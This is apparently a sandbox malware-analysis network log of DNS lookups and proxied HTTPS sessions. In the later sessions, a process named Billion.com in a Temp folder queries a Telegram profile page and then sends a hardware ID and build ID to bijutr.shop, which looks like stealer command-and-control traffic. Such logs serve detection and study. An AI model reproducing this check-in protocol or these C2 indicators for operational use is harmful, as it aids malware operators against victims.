Dec 24, 2024 19:27:56.560391903 CET	1.1.1.1	192.168.2.6	0x2efa	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:56.560415030 CET	1.1.1.1	192.168.2.6	0x1589	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 24, 2024 19:28:21.689524889 CET	1.1.1.1	192.168.2.6	0x2cf5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:21.693130970 CET	1.1.1.1	192.168.2.6	0x6343	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:22.168806076 CET	1.1.1.1	192.168.2.6	0x1db	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:22.168806076 CET	1.1.1.1	192.168.2.6	0x1db	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:22.256850004 CET	1.1.1.1	192.168.2.6	0x5a4c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:24.092684031 CET	1.1.1.1	192.168.2.6	0x145	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:24.201147079 CET	1.1.1.1	192.168.2.6	0x837e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:24.624630928 CET	1.1.1.1	192.168.2.6	0x49c0	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:24.624630928 CET	1.1.1.1	192.168.2.6	0x49c0	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:24.814085960 CET	1.1.1.1	192.168.2.6	0x597f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:26.157049894 CET	1.1.1.1	192.168.2.6	0xc358	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.157049894 CET	1.1.1.1	192.168.2.6	0xc358	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.157109976 CET	1.1.1.1	192.168.2.6	0x525c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 24, 2024 19:28:26.160084009 CET	1.1.1.1	192.168.2.6	0x9251	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.160084009 CET	1.1.1.1	192.168.2.6	0x9251	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.160903931 CET	1.1.1.1	192.168.2.6	0x2fdc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 24, 2024 19:28:26.171585083 CET	1.1.1.1	192.168.2.6	0x7ac2	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.171585083 CET	1.1.1.1	192.168.2.6	0x7ac2	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.171863079 CET	1.1.1.1	192.168.2.6	0x6592	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 24, 2024 19:28:26.760910988 CET	1.1.1.1	192.168.2.6	0x8fa7	No error (0)	sb.scorecardresearch.com		18.161.69.30	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.760910988 CET	1.1.1.1	192.168.2.6	0x8fa7	No error (0)	sb.scorecardresearch.com		18.161.69.117	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.760910988 CET	1.1.1.1	192.168.2.6	0x8fa7	No error (0)	sb.scorecardresearch.com		18.161.69.8	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.760910988 CET	1.1.1.1	192.168.2.6	0x8fa7	No error (0)	sb.scorecardresearch.com		18.161.69.125	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.772022963 CET	1.1.1.1	192.168.2.6	0xa257	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:26.772808075 CET	1.1.1.1	192.168.2.6	0x507f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:26.902776003 CET	1.1.1.1	192.168.2.6	0x10ac	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:26.902831078 CET	1.1.1.1	192.168.2.6	0x8564	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:27.045588017 CET	1.1.1.1	192.168.2.6	0xc5c2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 19:28:27.048626900 CET	1.1.1.1	192.168.2.6	0xffb0	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

bijutr.shop

www.google.com

clients2.googleusercontent.com

chrome.cloudflare-dns.com

https:

sb.scorecardresearch.com

browser.events.data.msn.com

c.msn.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49715	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 4a 41 37 56 58 79 6b 46 30 4f 49 6f 58 70 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 39 38 31 66 63 34 39 39 37 35 64 37 38 63 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 2JA7VXykF0OIoXpz.1Context: 9981fc49975d78cf
2024-12-24 18:27:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 18:27:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 32 4a 41 37 56 58 79 6b 46 30 4f 49 6f 58 70 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 39 38 31 66 63 34 39 39 37 35 64 37 38 63 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 2JA7VXykF0OIoXpz.2Context: 9981fc49975d78cf<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-24 18:27:00 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 4a 41 37 56 58 79 6b 46 30 4f 49 6f 58 70 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 39 38 31 66 63 34 39 39 37 35 64 37 38 63 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 2JA7VXykF0OIoXpz.3Context: 9981fc49975d78cf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 18:27:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 18:27:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 59 6a 71 64 2f 30 6e 73 30 65 4b 59 42 67 47 44 6e 59 4d 47 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pYjqd/0ns0eKYBgGDnYMGg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49731	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:12 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 68 6e 61 6e 68 71 46 55 35 30 75 77 6c 6e 49 63 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 30 33 33 62 62 63 30 33 63 30 62 63 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: hnanhqFU50uwlnIc.1Context: c1033bbc03c0bcb
2024-12-24 18:27:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 18:27:12 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 68 6e 61 6e 68 71 46 55 35 30 75 77 6c 6e 49 63 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 30 33 33 62 62 63 30 33 63 30 62 63 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 77 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: hnanhqFU50uwlnIc.2Context: c1033bbc03c0bcb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrpw
2024-12-24 18:27:12 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 68 6e 61 6e 68 71 46 55 35 30 75 77 6c 6e 49 63 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 30 33 33 62 62 63 30 33 63 30 62 63 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: hnanhqFU50uwlnIc.3Context: c1033bbc03c0bcb<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 18:27:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 18:27:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 4a 39 69 4e 49 58 44 66 30 6d 33 76 54 58 34 2f 6e 41 44 4f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zJ9iNIXDf0m3vTX4/nADOQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49780	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:33 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 39 74 52 4e 6c 4d 54 56 30 4f 4d 62 4b 67 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 66 65 61 35 63 36 63 61 63 39 61 65 62 39 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: s9tRNlMTV0OMbKgl.1Context: 1fea5c6cac9aeb98
2024-12-24 18:27:33 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 18:27:33 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 39 74 52 4e 6c 4d 54 56 30 4f 4d 62 4b 67 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 66 65 61 35 63 36 63 61 63 39 61 65 62 39 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: s9tRNlMTV0OMbKgl.2Context: 1fea5c6cac9aeb98<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-24 18:27:33 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 39 74 52 4e 6c 4d 54 56 30 4f 4d 62 4b 67 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 66 65 61 35 63 36 63 61 63 39 61 65 62 39 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: s9tRNlMTV0OMbKgl.3Context: 1fea5c6cac9aeb98<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 18:27:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 18:27:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 52 33 4b 33 56 70 31 6f 30 6d 64 49 44 34 73 44 41 55 32 33 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rR3K3Vp1o0mdID4sDAU23w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49792	149.154.167.99	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:39 UTC	85	OUT	GET /k04ael HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:39 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 24 Dec 2024 18:27:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: close Set-Cookie: stel_ssid=8910be78ceb6a609bb_9198664535209794300; expires=Wed, 25 Dec 2024 18:27:39 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-24 18:27:39 UTC	12299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6b 30 34 61 65 6c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @k04ael</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49800	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:41 UTC	231	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49806	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:43 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----3E3OP8QIMOZUAIMOHVS2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:27:43 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 45 33 4f 50 38 51 49 4d 4f 5a 55 41 49 4d 4f 48 56 53 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 35 43 46 46 32 43 38 35 39 33 33 31 35 38 38 32 31 30 39 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 33 45 33 4f 50 38 51 49 4d 4f 5a 55 41 49 4d 4f 48 56 53 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 33 45 33 4f 50 38 51 49 4d 4f 5a 55 41 49 4d 4f 48 56 53 32 2d 2d 0d Data Ascii: ------3E3OP8QIMOZUAIMOHVS2Content-Disposition: form-data; name="hwid"595CFF2C85933158821099-a33c7340-61ca------3E3OP8QIMOZUAIMOHVS2Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------3E3OP8QIMOZUAIMOHVS2--
2024-12-24 18:27:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:27:44 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 7c 31 7c 31 7c 31 7c 31 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|259654c3bcc7330e1954cafd3454ec44\|1\|1\|1\|1\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49812	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
